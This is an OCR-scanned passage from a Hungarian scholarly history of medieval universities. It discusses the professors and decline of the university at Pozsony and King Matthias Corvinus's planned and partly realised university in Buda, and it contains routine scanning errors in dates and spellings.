Rövid idővel azután egy lépéssel tovább ment. Ugyanazon
év október 20-ikán kéréseire Krumpachi Lőrinczet felmentették
a bécsi egyetemen tartandó bibliai előadásai alól (a liber Sapientia?
és az Epistola ad Colossenses alól) azon feltétel alatt, hogy a
helyett Pozsonyban tartsa meg azokat. Es Krumpachi Lőrincz
részben eleget is tett ezen feltételnek, a mennyiben tudjuk, hogy
1470-ben a primás meghagyásából és a bécsi egyetem utólagos
jóváhagyásával a pozsonyi egyetemen a bibliai előadások mellőzé-
sével mindjárt Petrus Lombardus Sententiáinak első két könyvét
adta elő, és hogy csak 1471. február elején tért vissza Bécsbe, hogy
a bécsi egyetemen előadásait folytassa és így megszerezze magának
a jogot bécsi baccalaureusnak czímezni magát. Vájjon Vitéznek
másik pártfogoltja, Grueber (Gruber ?) Mátyás is tanárkodott ez idő-
ben a pozsonyi egyetemen, bizonytalan. Schier ugyan azt mondja,
hogy Grueber 1468. május havában, szerinte ugyanazon időben
mint a mikor Grueber néhány társa Pozsonyba ment tanítani,
leköszönt a rózsa-bursa igazgatóságáról és ezután az egyetem
actáiban mint távollevő említtetik, és ebből azt következteti, hogy
Grueber, Vitéznek különös kedveltje, szintén meghivatott a pozso-
nyi egyetemre. Csakhogy ezen következtetés nem egészen való-
színű, mert tudjuk, hogy Grueber 1469-ben még Bécsben volt és
ezen év augusztus 17-ikén Vitéz kérésére megbízatott Szt. Pálnak
Timotheushoz intézett első és második levelének és Titushoz in-
tézett levelének fejtegetésével, de arról semmit sem olvasunk az
egyetem jegyzökönyveiben, hogy, úgy mint Krumpachi Lörincz,
ő is engedélyt kapott ezen előadásait a pozsonyi egyetemen meg-
tartani. Ha külömben mégis tartott Grueber előadásokat a pozso-
nyi egyetemen, az ifjú főiskola ennek csak hasznát vehette, annál
inkább, mert nem lehetetlen, hogy Grueber nem csak későbbi
kedvencz tárgyáról, a theologiáról, hanem, úgy mint Bécsben a ma-
gisteri méltóság elnyerése óta (146r>), úgy Pozsonyban isEuklidesről,
Boétius de consolatione-ról és Aristoteles metaphysikájáról és libri
33
posteriorum-járúl is tartott előadásokat. — Annál biztosabban tud-
juk, hogy a bécsi egyetem bölcsészeti karának egy másik még jóval
jelentékenyebb tagja, a görög nyelvben is jártas licenciatus theolo-
giee Hittendorfi Schrickher Miklós (144:2. óta magister artium,
1456. és 1460-ban a bölcsészeti kar dékánja, 1467 óta licenciatus
s. theologise) szintén tartott az «Universitas Histropolensis sive
Posoniensis»-en előadásokat; 1470-ben brünni Murer István mes-
ter által arra kérte a bécsi egyetem bölcsészeti karát, hogy köl-
csönözzön neki könyvtárából előadásai számára egy könyvet, és a
kar nem habozott kérését teljesíteni ^^).
A mint tehát mindebből kitűnik, a pozsonyi egyetem tanári
kara mindjárt az első években igen tekintélyes tudósokból állott, és
fényének emelésére nem szorultunk arra, hogy olyan tudósokat is
pozsonyi tanároknak mondjunk, kikről nem lehet bebizonyítani,
liDgy csakugyan a pozsonyi egyetem tanárai voltak. így Schom-
berg György alcancellárról azt hiszi Kimely"^^), hogy az új egye-
temen jogi előadásokat tartott, és hivatkozik a pozsonyi káptalani
könyvtárnak egy kéziratára , melyet György a káptalan bele-
egyezésével úgy az egyetemen, mint az egyetemen kívül használt.
Csak kár, hogy ez nem 1467-ben történt, mint Rimely állítja,
hanem 1461-ben, mikor még nem volt Pozsonyban egj^etem.
Ugyancsak Piimely egy bizonyos doctor Angelust és Hasleiteni
Prechtl Wolfgang doctort és magistert, kik később pozsonyi kano-
nokok voltak, szintén pozsonyi tanároknak mond, de csak azért,
mert a pozsonyi káptalan 147:2-ben mindkét tudort megvendégelte,
és a káptalan számadási könyvében ez alkalommal Prechtl mint
«quondam ordinarius professor« említtetik'^*'). De következik-e
ebből, hogy Angelus doctor tanár volt, és hogy Prechtl épen po-
zsonyi tanár volt? Nem. — Ép oly kevéssé biztos, hogy Brandolini
Aurél az volt, pedig az újabb írók, mint Wallaszky, Toldy, Lányi,
Fraknói, Geist, Piakovszky, Pfeiffer és Rimely, egyhangúlag el-
fogadták Schier idevágó feltevését. Schier ugyanis azt hitte ^'^),
hogy Philippus Bergomensis, mikor azt mondotta Brandoliniről,
hogy sok éven át Budán és Esztergomban (Strigonii) tanárkodott,
összetévesztette Esztergomot Pozsonynyal, Strigoniumot Istropo-
lissal, mely utóbbi névvel némelyek állítólag Esztergomot is
jelölték. Csakhogy az ilyen feltevés még nem bizonyítás. Hogy
Brandolini legalább Vitéz élete alatt a pozsonyi egyetemen nem
Ábel, Egyetemeink a középkorban. "
34
lehetett tanár, kitűnik azon körülménj'böl, hogy még 148:2-ben
Eómában tartózkodott és külömben is valószínű, hogy csak 1489.
telében jött hazánkba Mátyás király udvarához. Azt mondja leg-
alább ((De comparatione reipublicae et regniw czímü kiadatlan
munkájának (cod. Laur. pl. LXXVII. cod. XI) Medici Lörinczhez
Mátyás király halála után intézett dedicátiójában : «Ego quum
essem ex optima et fiorentissima republica oriundus et apud Mat-
thiam praestantissimum Pannoniorum Regem a quo ex űrbe Roma
fuernui accitus, hyeme proxima commorarer, velletque animus qui
nihil agere non potest aliquose opere exercere . . . ». Hogy pedig
Brandolini nem egyetemi tanár, hanem Mátyás király társalgója
volt, kitűnik abból is, hogy 1 490. elején Mátyást Bécsbe kisérte
(Schierp. "il), a helyett hogy az egyetemen előadásokat tartott volna.
Azonkívül, hogy egyeteme számára jeles tanárokat szerzett,
Vitéz külömben is mindent megtett, hogy egyetemét emelje és
hogy tanárainak s tanulóinak kedveben járjon, de egyúttal magának
és utódainak fentartsa az egyetem fontosabb ügyeire való befo-
lyást. Kétségkívül azért tért el az egyetem iurisdictiója dolgá-
ban nem csak a bolognai és a bécsi egyetem újabb törvényeitől,
melyeknek értelmében az egyetemnek választott rectora intézte el
az egyetem tagjai közt és az ezek s idegenek közt fenforgó peres
ügyeket, hanem az 138*-ig dívó régibb bécsi szokástól is, mely az
egyetem rectorának és négy procurátorának tartotta fenn a bűnös
elitélését, a nagyprépostnak pedig a büntetés nemének megszabását
(Aschbach, I. p. 13 és 39, Lányi, Egyházt. j). 550). Vitéz mindezt
az egyetem cancellárjának jogkörébe tartozónak nézte, és csak az
egyetemi polgárok nagyobb kényelme végett, hagyta meg 1469.
április :26-ikán*®), hogy az egyetem helyettes caucellárja, Schom-
berg (vagy Schönberg) pozsonyi káptalani prépost, Mátyás király-
nak kedves embere és a tudományok meleg barátja, valamint vala-
mennyi utódja, a Duna, a Morva, a Vág és a morva határ között el-
terjedő területen, úgyszintén a Csalóköz egy részén a « régimen mo-
rum )) -ot gyakorolja és minden egyházi vagy világi peres ügyben ítél •
jen, azokat kivéve, a melyekben a felek magához a prímáshoz feleb-
beznének. Rövid idővel azután, ugyanazon év augusztus 13-ikán kelt
pápai bulla által a helyettes cancellár tekintélye még inkább gyara-
podott. Azon napon ugyanis II. Pál pápa Mátyás királynak és a
pozsonyi káptalannak kérésére a pozsonyi káptalani prépostnak
35
és egyetemi alcancellárnak megengedte ■*^), hogy a főpapi díszjelvé-
nyeket, névszerint a mitrát, spálczát és a gyűrűt stb. viselhesse és
dioecesisében, ha magasabb rangú főpap nem volna jelen, a mise,
vecsevnye és matutina után az ünnepélyes áldást kioszthassa.
Sehomberg György és közvetlen utódja Sankfalvai Antal
(ki 1486-tól lö02-ig volt pozsonyi prépost) voltak kétségkívül az
egyedüli pozsonyi prépostok, kik egyszersmind az egyetem vice-
cancellárjának hivatalát is viselték ; nemsokára Mátyás királynak
halála (1490) után az egyetem megszűnt létezni. Azon per alkal-
mával ugyanis, mely 1543-tól 1551-ig Újlaki Ferencz győri
püspök s pozsonyi prépost és Kajrói Simon pozsonyi polgár
között egy régentén az egyetemhez tartozott telek miatt Pozsony
városának hatósága előtt folyt ^'^), Jeccelius Balázs bécsi ügy-
ved és Újlaki Ferencz tanúbizonyságából megtudjuk, hogy a po-
zsonyi egyetemen Mátyás király életének végéig többet avattak föl
baccalaureussá, és hogy csak Mátyás királynak halála után hagy-
ták el tanárai és tanulói az egyetemet az I. Miksa és 11. Ulászló
között kitört ellenségeskedések következtében^^). Ezen tanúvallo-
mással szépen megegyezik azon körülmény is, hogy az 1486-ban
elhunyt Sehomberg György prépost sírkövén uhuius üniversitatis
IstropolitaneVicecancellarius»-nak neveztetik, és hogy az 1476. után
Magyarországba költözött Ugoletti Tádé híres olasz humanista,
egy meghitt barátjának állítása szerint, Olaszországban 1488-ban
nem csak a Corvina számára, hanem a pozsonyi egyetem
számára is vásárolt könyveket^^), és hog}^ mind azon adatunk,
melyek az 1480-ban még a legjobb karban levő^^) egyetemi épület-
nek gyors pusztulásáról ránk maradtak, mint később látni fogjuk,
1491 bői és 149:2-ből, azaz a Mátyás király halála utáni időből
valók, ugyanazon időből, melybe Jeccelius és Újlaki az egyetem
feloszlását helyezték. Mindevvel szemben tehát alig fogjuk
pártolhatni azok nézetét-'*), kik azt hiszik, hogy az egyetem mind-
járt Vitéznek 147:2. aug. 10-ikén bekövetkezett halála után meg-
szűnt létezni, és ezen nézetüket Jeccelius és Újlakinak azon állí-
tásával akarják igazolni, hogy a pozsonyi egyetemen több baccalau-
reust promoveáltak, miből Schier és Toldy azt következtetik, hogy
az egyetem nem állott fel elég hosszú ideig arra, hogy a magisteri
méltóság elnyerésére szükséges cursust valaki rajta végig hallgat-
hatta volna. De ezen nézettel szemben elég azon körülményre hi-
■{fi
vatkoznunk, hogy a magisteri cursus többnyire négy évig, söt gyak-
ran csak három és fél évig tartott'^-"'), és így 1467-töl 1472-ig bizony
lehetséges lett volna a pozsonyi egyetemen magistereket ispromo-
veálni ; a miért is Újlakinak és Jecceliusnak kérdéses állítását,melyre
Schier és követői következtetéseiket építették, a valóságnak egészen
meg nem felelöknek kell tartanunk. — Az a mit az egyetem további
viszontagságairól külömben hallunk, nem segíti elö az imént tár-
gyalt vitás kérdés eldöntését. Tudjuk, hogy 1471. június 8-ikán,
illetőleg 1472. okt. 13-ikán a bécsi egyetem bölcsészeti kara Kirch-
dorfi Vörchlinger Péter pozsonyi baccalaureust felvette a bécsi
egyetem baccalaureusainak sorába^^), hogy 1473-ban flJohannes
Flechtner de Hirsperg Baccalareus üniversitatis Histropolensis»)
a bécsi egyetemen tanulónak beiratkozott (Fraknói, Magy. taná-
rok stb. p. 73), és hogy 1550. táján egy tanú a pozsonyi hatóság
előtt azt állította, hogy a pozsonyi egyetemen jDromoveált bacca-
laureusok közül csak egy Allerlay nevűről hallott'''').
Legfeljebb annyit mondhatunk még elegendő biztossággal,
hogy az egyetem, ha Vitéz halálát majdnem két évtizeddel túlélte
is, még Yitéz élte idejében legjobb tanférfiait elvesztette. — Krum-
pachi Lőrincz, ki még 1471. elején Pozsonyban előadásokat tartott
volt, ugyanazon évnek nagyobb részében Bécsben volt kénytelen
Lombardus Sententiáit magyarázni, nehogy elveszítse jogát, hogy
bécsi egyetemi theologiae baccalarius formatus-nak czímezze
magát ^^). Hogy azután még egyszer visszatért volna Pozsony-
ba, nem valószínű, annál kevésbbé, mert már 1473. nov. 11-ikén
mint megholt említtetik (Schier p. 26). Joannes Pvegiomon-
tanus még 1471-ben elhagyta Magyarországot és Nürnbergben
telepedett le ^^) ; Joannes Gattust már 1469-ben Siciliában talál-
juk ^^), és így aránylag rövid tartózkodás után a pozsonyi egyetemet
épen legjobb tanárai még Vitéz halála előtt odahagyták. Az egye-
temnek későbbi sorsáról már föntebb is szó volt. Láttuk, hogy Mátyás
király halála után a II. Ulászló és I. Miksa között kitört háború
véget vetett a pozsonyi egyetemnek, melynek története ezen idő-
ponton túl csak az egyetemi épület történetéből áll. Ezen épület
egyik részét, mely régentén a tanároknak és tanulóknak lakhelyéül
szolgált, ("cessante seu extincto iam dudum studio» Ulászló és
Corvin János 1492. május elsején elajándékozták^^), másik része
mindinkább roskadásnak indult : 1491-ben fegyvertárnak használ-
37
ták^^), 149:^-ben pedig a város, mely az egyetem felállítása alkal-
mával az egyetemi épületnek szánt Gmaintlféle házat új czéljának
megfelelöleg tetemes költséggel átalakíttatta volt *''^), a közel szom-
szédságban fekvő dSchusterthurm)) tatarozására szükséges cse-
repet az egyetemi épület házfedeléröl szedette^^).
V. Mátyás király budai egyeteme.
Még huzamos idővel a pozsonyi egyetemnek dicstelen fel-
oszlása előtt Mátyás király a pozsonyi egyetemet egy másikkal,
nagyobbszerűvel akarta helyettesíteni, melyet nem az ország hatá-
rán, hanem birodalmának fővárosában akart felállítani. Alkalma-
sint a nélkül, hogy a pápai jóváhagyásért folyamodott volna — az
1465-ben nyert felhatalmazást joggal elegendőnek tarthatta • — és
a nélkül, hogy terveit a nyilvánosságra hozta volna, hozzáfogott az
új egyetem építéséhez, nem tudjuk biztosan mely évben, de talán
1480. körüP-^), mikor az új egyetem egyik ágát a budai döméseknél
felállította, vagy épen már 1475. táján, mikor Carbó Lajos állítása
szerint új egyetem alapításának eszméjével foglalkozott és ezen új
alkotása számára kitűnő olasz tudósokat akart megnyerni^^). Az
óriási épületnek tervrajzát Heltai, ki alapfalait maga is látta, Bro-
darics István váczi püspöktől tudta meg ^'') ; magyar krónikájá-
ban következő leírását adja ^^) :
A Duna mellett Budán alul egy óriási épület alapfalait vetteté
feles a föld fölött némi magasságban felrakatá, a nélkül, hogy meg
mondta volna valakinek, mit akar oda csináltatni. De titokban
mind meggondolta és megbeszélte volt az építészekkel, mi-
nemű lenne az az épület, ügy tervezték, hogy az épület-
nek két piacza legyen ; az egyik, a felső, Bécs felé, igen hosszú, a
másik félannyi. A felső piaczon pedig úgy rendelte, hogy három
oldala hét emelet boltos kamarából álljon, melyeknek ablakai
egyrészt Buda felé, másrészt a Duna felé 'legyenek. Ezen kamarák
előtt az udvarb:in a fal mellett köröskörül egymás fölött öt folyosót
akart építeni, melyek széles garádicsok által lettek volna egymással
összekapcsolva ós oly szélesek lettek volna, hogy a deákok mind bele
fértek volna és ott hallgatták volna az előadásokat. Azonkívül
pedig a piaczot hét részre akarta szakítani^^), melyekből folyosókon
az emeletek alatt a Duna mellett levő árnyékszékekre lehetett
38
menni, és mindegyik szakasz piaczának közepére, azp.z anapy piacz
mind a hét szakaszába, egy-egy faragott oszlopot akart állíttatni,
mely oszlopok mindegyikének oldalában a tanárok cathcdrái állot-
tak volna, úgy hogy az első oszlop mellett grammatikát olvastak
volna, a második mellett dialektikát, a harmadik mellett rhetori-
kát, a negyedik mellett arithmetikát, az ötödik mellett zenét, a
hatodik mellett geometriát, a hetedik mellett astronomiát, még
pedig nemcsak nappal, hanem éjjel is, mikor az oszlopok fölött
elhelyezett kristálylámpások világították volna meg a piaezot, ha
ugyan hajlandók vagyunk Heltai ezen adatát elhinni, mikor tud-
juk, hogy külömben nyilvános előadásokat korán reggel és délután
szoktak tartatni, és meg volt tiltva a tanulóknak télen kilencz, nyá-
ron tíz óra után a házon kívül maradni (v. ö. Paulsen i. m. p. 410).
Végre a felső, nagy piacz negyedik oldalába, mely a nagy
piaezot a kisebbiktől elválasztotta, akarta a doktoroknak és a
lectoroknak házait csináltatni, minden szükséges szobával és
kamarával, mel3'eknek ablakai, napkeletre a kisebbik piaczra len-
nének, napnyugatra a hosszú, felső piaczra az oszlopok felé,
északra a Dunára, délre (északnyugatra?) pedig Budára. — A ki-
sebbik piaezot következőképen akarta építeni : északi oldalába
szép boltokat, szobákat és kamarákat tervezett az orvosok, gyógy-
szerészek, borbélyok és a betegek számára. Másik oldalába (úgy lát-
szik az épület ugyanazon részébe, melyben, mint láttuk, a docto-
rok és lectorok laktak) szép pinczék, szobák, boltok és kamarák
voltak szánva, melyekben az oekonomus (a cselédes ember) és az
egész cselédség laknék'''^), hogy mindenféle borokat, söröket és
kenyeret szüntelen árulna nagy bőségben. A napkeleti oldal köze-
pébe az egyik nagy kaput tervezte'^^), a déli oldalon a Duna felé
pedig az egyetemi épületen kívül lakó mesteremberek boltjait akarta
elhelyezni. Evvel szemben azután az alsó (északi) oldalon a Duna
mellett a kapu fölé az emeletbe az egész Akadémia vagyis az ország
fő iskolája prépostjának azaz rectorának lakását tette. És ugj-an-
azon oldalon a kapun alól, a Duna felett egymás mellett csupa
konyhát és éléskamrát tervezett, mert nagyobb fegyelem tekinteté-
ből úgy akarta, hogy a negyvenezer tanuló közül az egész éven át
egyetlen egynek se legyen szüksége a városba menni, hanem mind
ételt, mind italt, mind minden egyéb szükséges dolgot az iskola
konyháiból és az oekonomus pinczéiből kaphassanak, illetőleg a
39
vizet abból az öt kútból (a kiseb])ik piaczon kettő, a nagyobbikon
három), melyek vizöket a Dunából kapták és egész éjjen át kristály
lámpákkal voltak megvilágítva. Azonkívül pedig a Duna mellett egy
utcza mészárost és kenyérsütöt akart letelepíteni és nagy vásárt tar-
tatni, melyet nagy szabadságokkal akart megajándékozni. Végre a
rectori hivatal és az oeconomusság számára jeles és nagy jószágot és
sok ezer forint jövedelmet akart adományozni, hogy széles e világon
ne legyen jobb, szebb és nagyobb iskola a budainál.
így Heltai. Előadásának zavart és hiányos volta daczára,
mely leginkább abban nyilatkozik, hogy az egyetem különféle
karairól semminemű felvilágosítást sem ad, és könnyen azon gon-
dolatot kelthetné az olvasóban, hogy a budai egyetemen csak a hét
szabad művészetet akarta Mátyás király előadatni a hittani, jogi
es orvosi tudomány mellőzésével-), annyit mégis kivehetünk
belőle, hogy Mátyás király a budai egyetemet Európa legnagyobb
főiskolájává akarta tenni. Azon kérdésre persze nehéz megfelelni,
vájjon czélszerű lett-e volna az egyetemi ifjúságot nemcsak az
úgy is eléggé szigorú középkori egyetemi disciplinának alávetni,
hanem azonfelül még a külvilágtól teljesen el is zárni és legkisebb
mozdulatát is szigorú felülvigyázatnak alávetni. Hogy az egye-
temi ifjúság az ilyen túlságos szigort nem jó szemmel néz-
hette, világos, de az sem valószínűtlen, hogy Buda városának la-
kossága is ellenezte volna ; Bécsben is kénytelenek voltak 13s4-ben
az 1365-iki alapszabályok módosítása alkalmával felhagyni azon
tervvel, hogy az egyetemi ifjúságnak egy külön városrészt enged-
nek át, és itt még nem is lett volna oly szigorú az elkülönítés,
mint Budán (x\schbach i. m. I. p. 13 és 32). Többen'-^) megüt-
köztek azon nagy számon is, melyre Heltai állítása szerint az
új főiskola berendeztetett volna és túlzottnak mondották azt ; és
nem is lehet tagadni, hogy valamennyi középkori egyetemnek arány-
talanul kisebb számú hallgatója volt ; így Paulsennek valószínű
számításai szerint (i. m. p. 289 — 303) a jeles bécsi egyetemnek a
XVI. század második felében évenkint átlag nem 7000 vagy 5000
hallgatója volt, mint eddig hittek, hanem 933, Heidelbergnek
1386-tól 15.50-ig átlag 285, Erfurtnak a XV. század közepéig 506,
Greifswaldnak 14G5-től U78-ig 103, Freiburguak 1460-tól 1500-ig
143, Baselnak 1460-tól 1480-ig 280, 1480-tól 1500-ig 177, Tübin-
gennek 1476-tól 1526-ig 233, Ingolstadtnak 1493-ig 513, és min-
40
den németországi középkori egyetemnek együttvéve a XV. század
második felében GOOO — 7000 hallgatója. Az egyetlen analóg esetre,
melylyel eddig a budai egyetemnek negyvenezer hallgatójáról szóló
adatot védelmezni akarták (többek közt Toldy is), azon körülményre,
hogy a prágai egyetemen 1409-ben GOOOO tanuló volt, most már
szintén nem hivatkozhatunk többé, mióta Paulsen kiderítette, hogy a
prágai egyetemnek 1375-töl 1409-ig évenkint átlag nem 60000, ha-
nem 676 hallgatója volt, legnagyobb virágzásának idejében pedig,
1880-tól 1389-ig átlag 1027. De azért talán még sincs jogunk Hel-
tai állításának igazságában kételkedni. Mátyás király maga említi
Aurelius Brandolininek «De comparatione reipublicae et regnii)
czímü kiadatlan munkájában, hogy a párizsi egyetemnek rende-
sen áOOOO, nem ritkán 30000 tanulója van'''^), és ki monrlhatja
meg most, ezen kétségkívül szintén túlzott adat nem-e ténjdeg
felkeltette Mátyás király agj^ában azon monstruósus gondolatot,
hogy Budán negyvenezer tanuló számára egyetemet alapítson ?
Csakhogy a kegyes sors megkímélte Mátyás királyt a kudarcztól,
hazánkat pedig a rengeteg épület felépítésére megkívántató
kiadásoktól. Ugyanis az épület soha el nem készült, a nagy
egyetem életbe nem lépett, és addig, míg az új egyetemi
épület elkészült ■ — és Heltai állítása szerint száz évnél is
több kellett volna felépítéséhez — Mátyás királynak le kel-
lett mondani kalandos terve keresztülviteléről, és be kellett
érnie egy kisebbszerű főiskola felállításával, ha csak nem akarta
birodalmának fővárosát tekintettel a két vidéki egyetemre, a pozso-
nj'ira és a pécsire, főiskola nélkül szűkölködni hagyni. így tehát
Mátyás király Budán egy kisebb főiskolát állított föl és a többször
említett óriási épület elkészültéig a budai dömések kolostorában
helyezte el. Niger (Schwarz ?) Péternek 1481-ben Yelenczében
megjelent «Clypeus Thomistarum)) czímü művének dedicátiójá-
ból '^^) tudjuk, hogy Mátyás király Budán egy Universale gymna-
siumot, azaz egyetemet állított fel, melyben nemcsak a philo-
sophiát, hanem a theologiát és a szentírást is elő akarta
adatni. Ezen intézet első igazgatójának Mátj^ás király Zárai An-
talnak, Beatrix gyóntató atyjának és udvari káplánnak tanácsára
meghívta Würzburgból Niger Pétert, egy igen tekintélyes tudóst,
ki a montpellieri, salamancai, freiburgi és ingolstadti egyeteme-
ket látogatta volt, a héber nyelvben is jártas volt, és csak nem rég
41
(1477) adott ki Nürnbergben egy a regensburgi püspöknek ajánlott
((Tractatus contra j^erfidos Judapos* czímű munkát.
E csonka egyetemet a király a dömések kolostorában he-
lyezte el ; a rector és a tanárok a királyi pénztárból gazdag fize-
tést, a tanulók szállást és teljes ellátást kaptak, — minek illustrá-
lására szolgáljon azon körülmény, liogy középkori egj'etemeken
ritka tanárnak volt kétszáz forintnál nagyobb jövedelme, és hogy
a tanulónak kiadásai évenkint átlag húsz forintra rúgtak (v. ö.
Paulsen m. p. 435) — és így bátran állithatjuk, hogy a budai egye-
tem, mely az ország lakosságának nagy része számára sokkal
kedvezőbben feküdt, mint a pozsonyi egj'etem, és nem is szorít-
kozott csaknem kizárólag a jogi tanulmányokra mint a pécsi,
a tbeologia és philosophia követőire nézve, de csakis ezekre
nézve, nagyon alkalmas egy intézet lehetett. Másrészről azonban
nem lehet tagadni, hogy a budai egyetem, melyen alapítójának
intentiója szerint is csak theologiát és scholasticus philosophiát
kellett volna előadni, és melynek előttünk ismeretes tanárai is az
egy Pancratius Eorbeck kivételével mind theologiae professorok
voltak, a pécsi és pozsonyi egyetemet fölöslegessé nem tehette.
És alkalmasint nem is volt Mátyás királynak szán léka, addig míg
nagy egyeteme föl nem épült, a pécsi és pozsonyi egyetemet a
budainak concurrentiája által elnyomatni hagyni ; a döméseknél
elhelyezett főiskola valószínűleg csak alumniatussal egj^bekap-
csolt theologiai főiskola volt /máskép nem is lehetne érteni, hogy
tanulói a királytól teljes ellátást és lakást kaptak), melyen a több
theologiae professor mellett egy liberalium artium professor is
alkalmazva volt, mivel annak, ki a hittani tudományokban va-
lamely rangot elnyerni akart, előbb liberalium artium magister-
nek kellett lenni.
Az , egyetem' további történetéről vajmi keveset hallunk. Egy
nem igen megbízható forrásunk mondja, hogy Niger Péter, az egye-
tem igazgatója és a theologia professora, 1481. táján Badenben meg-
halt ''^), olvassuk, hogy Ilkusch Márton, a már többször említett
udvari csillagjós és budai plébános, ki még 1490-ben is Budán
tartózkodott, 1487-ben «arcium et sacrae theologiae professor »)-nak
czímezi magát''''), és hogy a dömés rendnek Budán székelő provin-
ciálisa, Győri Paulinus, valamint a szintén dömés rendű Nicolaus
de Cassovia ugyancsak a hittudományok tanára volt ''^). Továbbá
42
tudjuk BricciusCiliensis bécsi egyetemi tanárnak két leveléből (1 Í81.
october IG-ikáról és 1 i83. jún. 29-ikéröl ^'Ojliogy Paneratius Rorbeck
de Láva Magister és liberalium artium professor (f 151:! július 1-én,
1490. óta pozsonyi kanonok és 1499-ben pozsony sz.-lörinczi és
1500-])an sz. Márton föegyliázi lelkész) Budán <iapud nostram
dominami) azaz bold. Szűz Máriának a dömések kolostorának köz-
vetlen szomszédságában fekvő temploma mellett^'^), tehát valószí-
nűleg a döméseknél elhelyezett főiskolán «iskolamester» ludi
magister volt, mely névvel egy igazi egyetemi tanárt aligha lehe-
tett volna illetni, és 1481 ápr. 14-ikén Bricciust tudósította a Budán
elhunyt erfurti Eydenreich János mesternek (és budai főiskolai
tanárnak ?), végrendeletéről. Ugyanakkor Briccius egyik tanítvá-
nyát Budára küldötte Rorbeckhez iskolába a Bécsben dühöngő
dögvész tartamára és megigérte neki, hogy adandó alkalommal
kész hasonló szívességgel szolgálni ; két évvel később pedig arra
kérte Rorbecket, szóljon Mátyás királynak a nag}' szorultságban
levő bécsi egyetem érdekében. — Ez mind a mi a budai egyetem
történetéről Mátyás király idejéből ránk maradt, legalább mind az,
mit annyira a mennyire biztosnak mondhatunk. Aurelius Brando-
liniről azt állítja ugyan Philippus Bergomensis, hogy wBudae . ,
multis annis publico munere magna cum laude Oratóriam docuit*,
a mit az újabb írók, nem tudom miért, mind oda értettek, hogy
Brandolini a budai egyetemen adta elő az ékesszólástant, de hogy
ezen feltevés alighanem téves, nézetem szerint nem csak azon
körülményből tűnik ki, hogy, mint láttuk, Brandolini valószínű-
leg csak kevéssel Mátyás király halála előtt, 1489. telében jött
Magyarországba, folyton Mátyás király személj^e körül tartózko-
dott, és 1490. elején Bécsbe is elkisérte, a helyett hogy Budán elő-
adásokat tartott volna, hanem még jobban kitűnik «De compara-
tione reipublic;"e et regni») czímü kiadatlan müvének egyes
helyeiből. Ily czímű dialógusában ugyanis, melyet Brandolini
az l489-ik év vége felé kezdett írni. Mátyás király annak bebizo-
nyítására, hogy nem csak Olaszországban vannak tudós férfiak,
és hogy Magyarországban is gondolnak a tudományokkal, csak a
bécsi egyetemre hivatkozik, és a budairól (a nem teljes pécsi és
az alig tengődő pozsonyi egyetemektől egészen eltekintve) nem
is tesz említést ^^). Nemde valószínű, hogy Brandolini Mátyás
királylyal a budai egyetemet is felemlíttette volna, ha Brando-
43
lini csakugyan tanára lett volna ? És nem valószínű-e, hogy Bran-
dolini,ha egyetemi tanár, nem mondhatja, hogy a "De compara-
tione reipublicíe et regni ») czímü munkájának kidolgozásához azért
fogott, mert nem akart egészen tétlen lenni, meit «animus nihil
agere non potesto ; az egyetemi tanár működését talán már csak
akkor sem lehetett úgy jellemezni, hogy semmit sem tevésből áll !
Nem kevésbé valószínűtlen mint azon állítás, hogy Brando-
lini budai egyetemi tanár volt, Wallaszkynak azon gyanítása, hogy
Ugoletti Tádé, Bonfini Antal és Galeotto Marzio is a budai egyetem
tanári karához tartoztak, vagy azon állítása, hogy Mátyás Regio-
montanus Jánost a pozsonyi egyetemről Budára hívta es 200
arany forintnyi évdíjjal a-^ egyetemen alkalmazta ^^). Az előbbi
feltevés ellen minden positiv adat hiánya szól, az utóbbi állítás
ellen pedig azon biztos tudomásunk, hogy Regiomontanus már az
1471-ik év első felében végleg elhagyta hazánkat.
Mátyás utódainak uralkodása idejéből még kevesebb hiteles
adatot bírunk a budai főtanodára nézve fölmutatni, csak az való-
színű, hogy a kolosvári származású Nicolaus ex Mirabilibus (Csoda
Miklós) II. Ulászló királynak udvari prédicatora és Magyaror-
szágra nézve a hasreticíe pravitatis inquisitor, ki 1493-ban «diva,'
theologias professorw-nak czímezi magát ^^), a dömések theologiai
fötanodájában még tanárkodott ; a többi mind bizonytalan. Tud-
juk ^"^j, hogy TobriacherUlrik 1512-ben Budán iskolaigazgató volt
(ludo litterario praefectus) és mint ilyen Vadianust és Colli mitiust a
legnagyobb szívességgel fogadta, de már Fraknói (Hazai és külf.
iskolázás, p. 186) figyelmeztetett arra, hogy nem bizonyos, a budai
főiskolán volt-e alkalmazva Tobriacher, vagy pedig valamely
alsóbb rendű intézetben. A mi pedig Hassensteini Lobkovicz
Búhuslausnak a XVI. század elején Schlechta Jánoshoz intézett
levelének azon kifejezését illeti, hogy «Vale ettecum tota Academia
potius quam Cancellaria», csak csodálkozásunkat fejezhetjük ki a
fölött, hogyWallaszky (Tent. p. 63) ezen kifejezésben bizonyítékát
látta annak, hogy a budai egyetem II. Ulászló alatt is virágzott,
pedig ama Hassenstein-fele idézetből csak azt lehet következtetni,
hogy Hassenstein véleménye szerint a budai királyi cancelláriát,
melynek oly kitűnő tagjai voltak mint Augustinus Olomucensis és
Schlechta, méltán lehetett nem csak cancelláriának, hanem Aca-
demiának is nevezni. Sokkal biztosabbnak látszanak első pilla-
44
natra azon adatok, melyeket a budai egyetem történetére nézve
II. Lajos uralkodása idejéből szokás felhozni, és általánosan elfo-
gadott nézet is, bogy 1523. táján a budai egyetemen több német
tudós, köztük JoannesLa.'ír/ (1503 — 1567), Conradus CordatHS,\iius
Vinsliemius és Simon Grynaeus volt tanár és hogy Yinshemius a
görög nyelvet, Grynaeus pedig a bölcsészetet adta elö (Toldy 11.
p. 27); söt Tomaschek(Geschichte dor evang. Kirchengemeinde A. C.
in Ofen. Budapest. 1880. p. 9), ki adatait többnyire Doleschall (Die
wichtigsten Schicksale der evangelischen Kirche A. C. in Ungarn.
Leipzig. 1728), Fessler és Eibini (Memorabilia Aug. conf. in Hun-
gária) műveiből meriti, azt is akarja tudni, hogy többek közt
Grynarus,. Láng és Winsheim első sorban Brandenburgi György
befolyásának köszönhetik, hogy 1521-ben a budai egyetemhez
meghivattak, és hogy a budai egyetemről való ezen gondoskodása
Brandenl)urgi Györgynek csaknem egyetlen érdeme. Ezen taná-
rok közül azonban Cordatus csak Toldy és ifj. Palugj-ai Imre (Buda-
pest leírása. 1852. p. 27) tévedéséből került a budai egyetem taná-
rai közé ; "Wallaszky ugyanis, ki Toldynak forrása volt, Cordatust
nem az egyetemi tanárok között emliti, hanem azok között, kiket
az ellenreformátió Vinshemiussal és Grynaeussal egy időben hazánk
